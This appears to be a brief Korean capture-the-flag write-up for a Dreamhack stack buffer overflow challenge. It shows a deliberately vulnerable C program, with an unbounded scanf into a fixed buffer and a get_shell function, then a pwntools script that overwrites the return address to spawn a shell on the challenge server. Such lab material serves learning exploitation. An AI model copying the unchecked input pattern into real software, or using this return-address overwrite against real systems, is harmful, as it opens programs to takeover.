// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
으음... buf에는 제한 없이 입력을 받고 있다. ret주소를 get_shell로 옮기면 어떻게 될까?
from pwn import *
p = remote('host3.dreamhack.games', 23592)
get_shell = 0x00000000004006aa
payload = 'a' * 0x38
payload += p64(get_shell)
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
성공 ~